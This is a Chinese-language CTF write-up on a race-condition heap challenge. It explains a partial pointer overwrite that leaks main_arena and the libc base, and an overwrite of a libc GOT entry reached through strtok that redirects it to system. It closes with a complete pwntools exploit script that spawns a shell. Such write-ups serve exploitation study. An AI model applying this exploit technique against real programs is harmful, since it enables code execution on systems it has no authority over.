首先是学会了IDA怎么重定义类型来让堆块的创建变得好看。(真的可以使得看起来很舒服,感谢bilibili的师傅们)
本题的利用是条件竞争堆,但是从其中学到了好多其他的调试及技巧。
main函数,创建了一个0x100的堆块,将各种数据的操作与传递都塞在了里面,并且不断创建。每次的创建进程及其他操作都是放在了子线程的堆里。
strtok函数会把字符串中要求检索的标识改为‘\0’(只找到第一个标识),并且内部指针指向’\0’,第二次若以‘0’开始,就会继续裁剪剩下的字符串。
如上图的两次strtok达成的效果:3空格aaaaaa\n会被分解成3\0’ 和aaaaaa\0
在bss段中为main_arena_list,其中存了第一个子线程堆块的指引。
edit函数
关键是这里的sleep可以达成在进程间的延迟,从而达到竞争攻击的效果。
好,接下里看着脚本分析:
new("a"*0x62)
edit(0,"b"*0x60+"\xa0\x08")
delete(0)
new("a"*0x58)
new("a"*0x58)
sleep(2)
show(1)
r.recvuntil("paper content: ")
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x219c80 #main_arena
要改后三位为8a0的原因是这样:
先用arenas找到线程堆的起始部位,然后往下翻,直到它与数据域的交界处
这里可以分别看到libc的载入基地址, 以及开了Pie的载入基地址,以此来达到寻找位置以及计算固定偏移的效果。这里可以分别看到libc的载入基地址, 以及开了Pie的载入基地址,以此来达到寻找位置以及计算固定偏移的效果。
sleep(2)可以使得那个edit里的休眠结束,防止进程竞争发生意外。
这里把断点打到了show函数之后(放在前面会由于动调儿而导致进程切换出问题而无法正常达成条件竞争的输出)
可以看到,配合new(0x62)或(0x68)以后,delete(这里仅仅是为了达成能够往下修改的效果),然后连续创建两个(0x58),可以覆盖0x60,然后刚好达到第二堆块的index_chunk区域,从而修改指针。
这是连续创建了3个块,可以看出每一个块的结构(这是3个0x62)
另:如果刚好满了,那个出现的24,25啥的会单独占据0x10(这个出现的原因从代码中找不到,它也没被用到,目前存疑)
这也是为什么明明是0x58个数据,却要用0x60来填的原因。
另:关于更改index_chunk能够改变输出的原因:Index_chunk指向了数据域,按理说应该输出数据,但是如果改了,就会相应的更改其他位置。
后续按照相同的方法更改strsok函数got对应的真实地址,但是由于strtok函数是由一个封装函数,所以直接更改了libc中相应函数的got表所对应函数
可能发现用它的过程:从strtok的调用中,si进入发现got表跳转的第一个函数是它,然后用libc找到相应的位置,进行更改。
期待师傅们的指正与交流。
总exp:
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./heap')
#p=remote('',)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()
def new(content):
p.recv()
payload = b'1 '+content
sl(payload)
def show(index):
p.recv()
payload = b'2 '+index
sl(payload)
def edit(index,content):
p.recv()
payload = b'3 '+index+b':'+content
sl(payload)
def dele(index):
p.recv()
payload = b'4 '+index
sl(payload)
new(b"a"*0x62)#0
edit(b'0',b'b'*0x60+b'\xa0\x08')
dele(b'0')
new(b'a'*0x58)#0
new(b'a'*0x58)#1
sleep(2)
show(b'1')
ru('content: ')
main_arena=u64(rc(6).ljust(8,b'\x00'))
print(hex(main_arena))
#gdb.attach(p)
libc_base = main_arena -0x219c80
libc=ELF("/home/kali/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
system_addr = libc_base +libc.sym["system"]
new(b"a"*0x68)#2
edit(b'2',b'b'*0x60+p64(libc_base+0x219058-0x50))
dele(b'2')
new(b'a'*0x58)#2
new(b'a'*0x58)#3
sleep(2)
edit(b'3',b'b'*0x50+p64(system_addr))
sleep(2)
p.recv()
sl(b'/bin/sh')
p.interactive()